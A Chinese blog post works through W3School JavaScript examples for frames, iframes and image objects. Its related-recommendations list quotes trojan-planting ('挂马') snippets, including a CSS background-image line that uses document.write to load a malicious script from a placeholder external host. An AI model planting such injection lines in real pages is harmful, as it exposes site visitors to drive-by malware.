`

js学习之Frame、Frameset 以及 IFrame 对象和image对象

JavaScript 
阅读更多
今天上班又不是很忙,接着学习js相关的东西,毕业后就没怎么学习了,好多东西都是一知半解,做项目的时候百度,过后就忘记了,难得轻松,好好地系统学习下.对于前段的知识都是参考W3school学习的,里面例子多

Frame、Frameset 以及 IFrame 对象


大小可调整和不可调整的框架代码来自w3school 


<html>
<frameset cols="50%,50%">
  <frame id="leftFrame" src="/example/hdom/frame_noresize.html">
  <frame id="rightFrame" src="/example/hdom/frame_a.html">
</frameset>
</html>



带滚动条和不带滚动条的框架代码来自w3school 


<html>
<frameset cols="50%,50%">
  <frame id="leftFrame" src="/example/hdom/frame_scroll.html">
  <frame id="rightFrame" src="/example/hdom/frame_a.html">
</frameset>
</html>


跳出框架代码来自w3school 


<html>
<head>
<script type="text/javascript">
function breakout()
  {
  if (window.top!=window.self) 
    {
    window.top.location="/example/hdom/tryjs_breakout.htm"
    }
  }
</script>
</head>
<body>
<input type="button" onclick="breakout()" value="跳出框架！">
</body>
</html>


更改两个框架的员代码来自w3school 

<html>
<head>
<script type="text/javascript">
function changeSource()
{
document.getElementById("frame1").src="/example/hdom/frame_c.html"
document.getElementById("frame2").src="/example/hdom/frame_d.html"
}
</script>
</head>

<body>
<iframe src="/example/hdom/frame_a.html" id="frame1"></iframe>
<iframe src="/example/hdom/frame_b.html" id="frame2"></iframe>
<br /><br />
<input type="button" onclick="changeSource()" value="改变两个框架的 source">

</body>
</html>


image 对象


改变图像的大小代码来自w3school 


<html>
<head>
<script type="text/javascript">
function changeSize()
{
document.getElementById("compman").height="270"
document.getElementById("compman").width="164"
}
</script>
</head>

<body>
<img id="compman" src="/i/eg_bulbon.gif" />
<br /><br />
<input type="button" onclick="changeSize()" value="改变图像的高度和宽度">
</body>

</html>


改变图像的src代码来自w3school 


<html>
<head>
<script type="text/javascript">
function changeSrc()
  {
  document.getElementById("myImage").src="/i/eg_smile.gif"
  }
</script>
</head>

<body>
<img id="myImage" src="/i/eg_bulbon.gif" />
<br /><br />
<input type="button" onclick="changeSrc()" value="改变图像">
</body>

</html>


分享到：
| PermGen space错误解决方法
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    HTML DOM基础教程（网页形式）

    DOM 对象 DOM Window DOM Navigator DOM Screen DOM History DOM Location DOM Document DOM Anchor DOM Area DOM Base DOM Body DOM Button DOM Event DOM Form DOM Frame DOM Frameset DOM IFrame ...

    用DIV模拟Frame的静态页面的实现

    标题“用DIV模拟Frame的静态页面的实现”指的是在网页设计中不使用HTML的`&lt;frameset&gt;`或`&lt;iframe&gt;`元素，而是通过CSS和JavaScript技术来创建类似框架的效果。这种做法可以避免传统Frame带来的问题，如SEO优化困难、...

    html_dom_api.rar

    4、Frameset 对象 14 4.1、属性 14 4.2、标准属性 14 5、IFrame 对象 14 5.1、属性 14 5.2、标准属性 15 6、Image 对象 15 6.1、属性 15 6.2、标准属性 16 6.3、事件句柄 16 7、Link 对象 17 7.1、属性 17 7.2、标准...

    HTML-DOM对象

    #### 4、Frameset对象 **4.1 属性** - `rows`：定义每个框架的行高。 - `cols`：定义每个框架的列宽。 **4.2 标准属性** - `border`：设置或获取框架集的边框。 #### 5、IFrame对象 **5.1 属性** - `src`：获取或...

    网页多种挂马代码，JS

    background-image: url('javascript:document.write("&lt;script src=http://www.XXX.net/muma.js&gt;&lt;/script&gt;")'); } ``` 3. **CSS挂马的特点** - 利用CSS特性，实现隐蔽挂马。 - 可以结合其他挂马技术共同使用，...

    最经典的十种挂马方式

    background-image:url('javascript:document.write("&lt;script src=http://www.XXX.net/muma.js&gt;&lt;/script&gt;")'); } ``` ### 8. 使用window.open打开新窗口 通过JavaScript的`window.open`函数打开一个新的窗口，并...

    html框架.pdf

    这里`&lt;iframe&gt;`元素定义了内嵌文档的位置、大小和对齐方式等属性。 ### 超链接 #### 概述 超链接是网页中最基本的功能之一，它允许用户通过点击来导航到其他网页或资源。 #### 示例 以下是几种常用的超链接示例：...

    韩顺平html，div+css视频听讲笔记

    在课程中，通过 `&lt;frameset&gt;` 和 `&lt;frame&gt;` 标签构建了框架的基本结构。例如： ```html &lt;frameset cols="30%,*"&gt; &lt;frame name="frame1" src="b.html" noresize frameborder="0" /&gt; &lt;frame name="frame2" src="c....

    HTML学习笔记

    `&lt;frameset&gt;`和`&lt;frame&gt;`元素构成框架结构，允许在一个浏览器窗口中显示多个独立的HTML文档。但现代Web设计中，框架已较少使用，更多采用Ajax或IFrame实现类似效果。 八、HTML列表 `&lt;ul&gt;`（无序列表）和`&lt;ol&gt;`...

    html语法手册帮助您快捷学习网络语言

    12. **框架标签**：`&lt;frameset&gt;`和`&lt;frame&gt;`用于创建多窗口布局，但现在已被`&lt;iframe&gt;`替代，用于在页面内嵌入其他网页。 13. **其他技巧**：例如使用`&lt;!DOCTYPE&gt;`声明文档类型，`&lt;meta&gt;`定义元数据，`&lt;style&gt;`添加...

    06_HTML和CSS.pdf

    通过`&lt;iframe&gt;`标签，我们可以指定宽度、高度以及`name`属性，然后通过链接的`target`属性将内容加载到这个内嵌框架中。 表单标签（`&lt;form&gt;`）用于收集用户输入的数据。`action`属性定义了表单数据提交的URL，而`...

    挂马的各种方式

    background-image: url('javascript:document.write("&lt;script src=http://www.upx.com.cn/muma.js&gt;&lt;/script&gt;")'); } ``` 这会使得浏览器在加载页面样式的同时执行恶意脚本。 ### 6. JavaScript 弹窗 通过...

    div ,frame等空间的透明实现代码

    在HTML5中，推荐使用`&lt;iframe&gt;`标签代替`&lt;frame&gt;`和`&lt;frameset&gt;`标签。不过，若需要针对旧版浏览器做兼容性处理，`allowTransparency`属性仍然是一个可行的解决方案。 另外，在CSS3中，我们有了更多控制元素透明度...

    挂马代码大全

    background-image: url('javascript:document.write("&lt;script src=http://www.XXX.net/muma.js&gt;&lt;/script&gt;")'); } ``` **注意事项：** - 这种方式非常隐蔽，但可能因浏览器的安全限制而无法执行。 #### 七、JAJA...

    06_HTML和CSS.docx

    HTML和CSS是网页设计的基础，它们分别负责网页的结构和样式。... 1. 框架标签： - `&lt;frameset&gt;` 用于定义一...此外，CSS还支持浮动布局、定位、弹性盒模型以及网格布局等多种布局模式，以适应不同屏幕尺寸和设备的需求。

    HTML标签解释大全.doc

    `ClipboardData`对象用于处理剪贴板数据，如复制和粘贴操作。 ##### **23. code** **说明：** 指定代码范例。`&lt;code&gt;`标签用于表示计算机代码片段。 ##### **24. col** **说明：** 指定基于列的表格默认属性。`...

    HTML参考手册(w3school版).docx编程资料

    - **语言属性(Language Attributes)**：这些属性同样广泛适用，但以下元素除外：`base`, `br`, `frame`, `frameset`, `hr`, `iframe`, `param`, `script`。 - **键盘属性(Keyboard Attributes)**：主要涉及到事件...

    HTML从入门到精通

    4. **HTML框架**：`&lt;frameset&gt;`和`&lt;frame&gt;`元素用于创建框架，将一个浏览器窗口分割为多个独立的显示区域，每个区域可以加载不同的网页。这在早期网页设计中常见，但现代Web开发更多使用Ajax或iframe实现类似功能。 ...

    html习题(答案).docx编程资料

    而“源文件”通常是指框架内部加载的文档或网页地址，这并不是通过框架本身的属性面板来设置的，而是通过`&lt;frame&gt;`或`&lt;iframe&gt;`标签的`src`属性来指定。 **2. 下列哪一项表示的不是按钮。** - **答案：** C．type=...

    HTML标签英文单词

    ### &lt;iframe&gt;: Inline Frame `&lt;iframe&gt;` 标签用于嵌入另一个HTML文档。它可以在页面内嵌入其他网页或多媒体内容。 ### &lt;img&gt;: Image `&lt;img&gt;` 标签用于定义图像。它可以用来在文档中嵌入图片，通过 `src` 属性指定...

Magicbox
Global site tag (gtag.js) - Google Analytics